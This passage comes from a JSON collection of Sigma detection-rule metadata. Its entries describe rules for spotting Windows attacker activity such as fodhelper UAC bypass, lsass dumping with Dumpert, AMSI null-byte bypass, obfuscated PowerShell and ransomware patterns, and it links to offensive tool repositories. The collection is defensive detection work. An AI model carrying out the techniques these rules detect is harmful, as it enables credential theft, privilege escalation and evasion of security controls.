user" ], "filename": "proc_creation_win_uac_bypass_fodhelper.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_fodhelper.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7f741dcf-fc22-4759-87b4-9ae8376676a2", "value": "Bypass UAC via Fodhelper.exe" }, { "description": "Detects the use of NPS a port forwarding tool", "meta": { "author": "Florian Roth", "creation_date": "2022/10/08", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_nps.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/ehang-io/nps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nps.yml" ], "tags": [ "attack.command_and_control", "attack.t1090" ] }, "related": [ { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "68d37776-61db-42f5-bf54-27e87072d17e", "value": "NPS Tunneling Tool" }, { "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", "meta": { "author": "Florian Roth", "creation_date": "2020/02/04", "falsepositive": [ "Very unlikely" ], "filename": "proc_creation_win_hack_dumpert.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", "https://github.com/outflanknl/Dumpert", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_dumpert.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2704ab9e-afe2-4854-a3b1-0c0706d03578", "value": "Dumpert Process Dumper" }, { "description": "Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_amsi_null_bits_bypass.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-bypass-using-null-bits-satoshi", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_amsi_null_bits_bypass.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "92a974db-ab84-457f-9ec0-55db83d7a825", "value": "Potential AMSI Bypass Using NULL Bits - ProcessCreation" }, { "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/18", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_invoke_obfuscation_via_rundll.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_rundll.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "056a7ee1-4853-4e67-86a0-3fd9ceed7555", "value": "Invoke-Obfuscation RUNDLL LAUNCHER" }, { "description": "Detects possible payload obfuscation via the commandline", "meta": { "author": "frack113", "creation_date": "2022/02/15", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_cmd_dosfuscation.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_dosfuscation.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a77c1610-fc73-4019-8e29-0f51efc04a51", "value": "Suspicious Dosfuscation Character in Commandline" }, { "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credential", "meta": { "author": "frack113", "creation_date": "2021/07/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_discover_private_keys.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.004/T1552.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_discover_private_keys.yml" ], "tags": [ "attack.credential_access", "attack.t1552.004" ] }, "related": [ { "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "213d6a77-3d55-4ce8-ba74-fcfef741974e", "value": "Discover Private Keys" }, { "description": "Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS", "meta": { "author": "Sreeman", "creation_date": "2020/10/29", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_credential_access_via_password_filter.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter", "https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_access_via_password_filter.yml" ], "tags": [ "attack.credential_access", "attack.t1556.002" ] }, "related": [ { "dest-uuid": "3731fbcd-0e43-47ae-ae6c-d15e510f0d42", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b7966f4a-b333-455b-8370-8ca53c229762", "value": "Dropping Of Password Filter DLL" }, { "description": "Detects commands used by Turla group as reported by ESET in May 2020", "meta": { "author": "Florian Roth", "creation_date": "2020/05/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_turla_comrat_may20.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_comrat_may20.yml" ], "tags": [ "attack.g0010", "attack.execution", "attack.t1059.001", "attack.t1053.005", "attack.t1027" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9e2e51c5-c699-4794-ba5a-29f5da40ac0c", "value": "Turla Group Commands May 2020" }, { "description": "Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques", "meta": { "author": "Florian Roth", "creation_date": "2022/05/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_powershell_webclient_casing.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_webclient_casing.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c86133ad-4725-4bd0-8170-210788e0a7ba", "value": "Net WebClient Casing Anomalies" }, { "description": "Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452", "meta": { "author": "Florian Roth", "creation_date": "2021/03/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_rundll32_sys.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_sys.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "731231b9-0b5d-4219-94dd-abb6959aa7ea", "value": "Suspicious Rundll32 Activity Invoking Sys File" }, { "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications.", "meta": { "author": "frack113", "creation_date": "2021/07/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_clip.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1115/T1115.md", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/clip", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_clip.yml" ], "tags": [ "attack.collection", "attack.t1115" ] }, "uuid": "ddeff553-5233-4ae9-bbab-d64d2bd634be", "value": "Use of CLIP" }, { "description": "Detects usage of \"ProtocolHandler\" to download files. Downloaded files will be located in the cache folder (for example - %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE)", "meta": { "author": "frack113", "creation_date": "2021/07/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_protocolhandler_download.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/ProtocolHandler/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_protocolhandler_download.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "104cdb48-a7a8-4ca7-a453-32942c6e5dcb", "value": "File Download Using ProtocolHandler.exe" }, { "description": "Detects suspicious command line that adds an account to the local administrators/administrateurs group", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2022/08/12", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_susp_add_local_admin.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_local_admin.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ad720b90-25ad-43ff-9b5e-5c841facc8e5", "value": "Add User to Local Administrators" }, { "description": "Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) viq CommandLine", "meta": { "author": "James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger", "creation_date": "2019/10/24", "falsepositive": [ "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." ], "filename": "proc_creation_win_web_request_cmd_and_cmdlets.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", "https://docs.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps", "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_web_request_cmd_and_cmdlets.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9fc51a3c-81b3-4fa7-b35f-7c02cf10fd2d", "value": "Usage Of Web Request Commands And Cmdlets" }, { "description": "Detects a suspicious winrar execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration", "meta": { "author": "Florian Roth", "creation_date": "2022/01/04", "falsepositive": [ "Legitimate use of WinRAR with a command line in which .dmp appears accidentally" ], "filename": "proc_creation_win_susp_winrar_dmp.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_dmp.yml" ], "tags": [ "attack.collection", "attack.t1560.001" ] }, "related": [ { "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1ac14d38-3dfc-4635-92c7-e3fd1c5f5bfc", "value": "Winrar Compressing Dump Files" }, { "description": "Detects all Emotet like process executions that are not covered by the more generic rules", "meta": { "author": "Florian Roth", "creation_date": "2019/09/30", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_malware_emotet.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/84fc9b4a-ea2b-47b1-8aa6-9014402dfb56/", "https://app.any.run/tasks/81f3c28c-c686-425d-8a2b-a98198d244e1/", "https://app.any.run/tasks/97f875e8-0e08-4328-815f-055e971ba754/", "https://app.any.run/tasks/e13ab713-64cf-4b23-ad93-6dceaa5429ac/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_emotet.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.defense_evasion", "attack.t1027" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d02e8cf5-6099-48cf-9bfc-1eec2d0c7b18", "value": "Emotet Process Creation" }, { "description": "Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE", "meta": { "author": "Florian Roth, omkar72, @svch0st, Nasreddine Bencherchali", "creation_date": "2019/01/16", "falsepositive": [ "Inventory tool runs", "Administrative activity" ], "filename": "proc_creation_win_net_recon.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_recon.yml" ], "tags": [ "attack.discovery", "attack.t1087.001", "attack.t1087.002" ] }, "related": [ { "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d95de845-b83c-4a9a-8a6a-4fc802ebf6c0", "value": "Suspicious Reconnaissance Activity Using Net" }, { "description": "Detects Obfuscated use of stdin to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_invoke_obfuscation_stdin.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_stdin.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6c96fc76-0eb1-11eb-adc1-0242ac120002", "value": "Invoke-Obfuscation STDIN+ Launcher" }, { "description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/05", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "proc_creation_win_tamper_defender_remove_mppreference.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tamper_defender_remove_mppreference.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "07e3cb2c-0608-410d-be4b-1511cb1a0448", "value": "Tamper Windows Defender Remove-MpPreference" }, { "description": "Detects WMI spawning a PowerShell process", "meta": { "author": "Markus Neis / @Karneades", "creation_date": "2019/04/03", "falsepositive": [ "AppvClient", "CCM" ], "filename": "proc_creation_win_wmi_spwns_powershell.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://any.run/report/68bc255f9b0db6a0d30a8f2dadfbee3256acfe12497bf93943bc1eab0735e45e/a2385d6f-34f7-403c-90d3-b1f9d2a90a5e", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_spwns_powershell.yml" ], "tags": [ "attack.execution", "attack.t1047", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "692f0bec-83ba-4d04-af7e-e884a96059b6", "value": "WMI Spawning Windows PowerShell" }, { "description": "Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27", "meta": { "author": "FPT.EagleEye, Nasreddine Bencherchali", "creation_date": "2021/03/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_powershell_snapins_hafnium.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "https://www.intrinsec.com/apt27-analysis/", "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_snapins_hafnium.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.collection", "attack.t1114" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "25676e10-2121-446e-80a4-71ff8506af47", "value": "Exchange PowerShell Snap-Ins Usage" }, { "description": "Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_dismhost.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_dismhost.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "853e74f9-9392-4935-ad3b-2e8c040dae86", "value": "UAC Bypass Using DismHost" }, { "description": "Detects exeuctable names or flags used by Htran or Htran-like tools (e.g. NATBypass)", "meta": { "author": "Florian Roth", "creation_date": "2022/12/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_hack_htran.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/HiwinCN/HTran", "https://github.com/cw1997/NATBypass", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_htran.yml" ], "tags": [ "attack.command_and_control", "attack.t1090", "attack.s0040" ] }, "related": [ { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f5e3b62f-e577-4e59-931e-0a15b2b94e1e", "value": "Htran or NATBypass Markers" }, { "description": "Detects the rare use of the command line tool shutdown to logoff a user", "meta": { "author": "frack113", "creation_date": "2022/10/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_logoff.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_logoff.yml" ], "tags": [ "attack.impact", "attack.t1529" ] }, "related": [ { "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ec290c06-9b6b-4338-8b6b-095c0f284f10", "value": "Suspicious Execution of Shutdown to Log Out" }, { "description": "Detects when verclsid.exe is used to run COM object via GUID", "meta": { "author": "Victor Sergeev, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_verclsid_runs_com.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/", "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d06be4b9-8045-428b-a567-740a26d9db25", "value": "Verclsid.exe Runs COM Object" }, { "description": "Detects the creation of a symbolic link between \"cmd.exe\" and the accessibility on-screen keyboard binary (osk.exe) using \"mklink\". This technique provides an elevated command prompt to the user from the login screen without the need to log in.", "meta": { "author": "frack113", "creation_date": "2022/12/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_create_link_osk_cmd.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1546.008/T1546.008.md", "https://ss64.com/nt/mklink.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_create_link_osk_cmd.yml" ], "tags": [ "attack.credential_access", "attack.t1546.008" ] }, "uuid": "e9b61244-893f-427c-b287-3e708f321c6b", "value": "Potential Privilege Escalation Using Symlink Between Osk and Cmd" }, { "description": "Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)", "meta": { "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", "creation_date": "2019/01/16", "falsepositive": [ "High" ], "filename": "proc_creation_win_susp_cmd_http_appdata.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.hybrid-analysis.com/sample/f16c729aad5c74f19784a24257236a8bbe27f7cdc4a89806031ec7f1bebbd475?environmentId=100", "https://www.hybrid-analysis.com/sample/3a1f01206684410dbe8f1900bbeaaa543adfcd07368ba646b499fa5274b9edf6?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_http_appdata.yml" ], "tags": [ "attack.execution", "attack.t1059.003", "attack.t1059.001", "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1ac8666b-046f-4201-8aba-1951aaec03a3", "value": "Command Line Execution with Suspicious URL and AppData Strings" }, { "description": "Detects Possible Squirrel Packages Manager as Lolbin", "meta": { "author": "Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community", "creation_date": "2019/11/12", "falsepositive": [ "1Clipboard", "Beaker Browser", "Caret", "Collectie", "Discord", "Figma", "Flow", "Ghost", "GitHub Desktop", "GitKraken", "Hyper", "Insomnia", "JIBO", "Kap", "Kitematic", "Now Desktop", "Postman", "PostmanCanary", "Rambox", "Simplenote", "Skype", "Slack", "SourceTree", "Stride", "Svgsus", "WebTorrent", "WhatsApp", "WordPress.com", "Atom", "Gitkraken", "Slack", "Teams" ], "filename": "proc_creation_win_susp_squirrel_lolbin.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/", "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_squirrel_lolbin.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fa4b21c9-0057-4493-b289-2556416ae4d7", "value": "Squirrel Lolbin" }, { "description": "Detects DarkSide Ransomware and helpers", "meta": { "author": "Florian Roth", "creation_date": "2021/05/14", "falsepositive": [ "Unknown", "UAC bypass method used by other malware" ], "filename": "proc_creation_win_mal_darkside_ransomware.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.joesandbox.com/analysis/411752/0/html#7048BB9A06B8F2DD9D24C77F389D7B2B58D2", "https://app.any.run/tasks/8b9a571b-bcc1-4783-ba32-df4ba623b9c0/", "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_darkside_ransomware.yml" ], "tags": [ "attack.execution", "attack.t1204" ] }, "related": [ { "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "965fff6c-1d7e-4e25-91fd-cdccd75f7d2c", "value": "DarkSide Ransomware Pattern" }, { "description": "This rule detects execution of PowerShell scripts located in the \"C:\\Users\\Public\" folder", "meta": { "author": "Max Altgelt", "creation_date": "2022/04/06", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_powershell_public_folder.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.mandiant.com/resources/evolution-of-fin7", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_public_folder.yml" ], "tags": "No established tags" }, "uuid": "fb9d3ff7-7348-46ab-af8c-b55f5fbf39b4", "value": "Execution of Powershell Script in Public Folder" }, { "description": "Detects execution of client32.exe (NetSupport RAT) from an unsual location (outisde of 'C:\\Program Files')", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_netsupport_rat_exec_location.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/misbehaving-rats/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsupport_rat_exec_location.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "37e8d358-6408-4853-82f4-98333fca7014", "value": "Execution of NetSupport RAT From Unusual Location" }, { 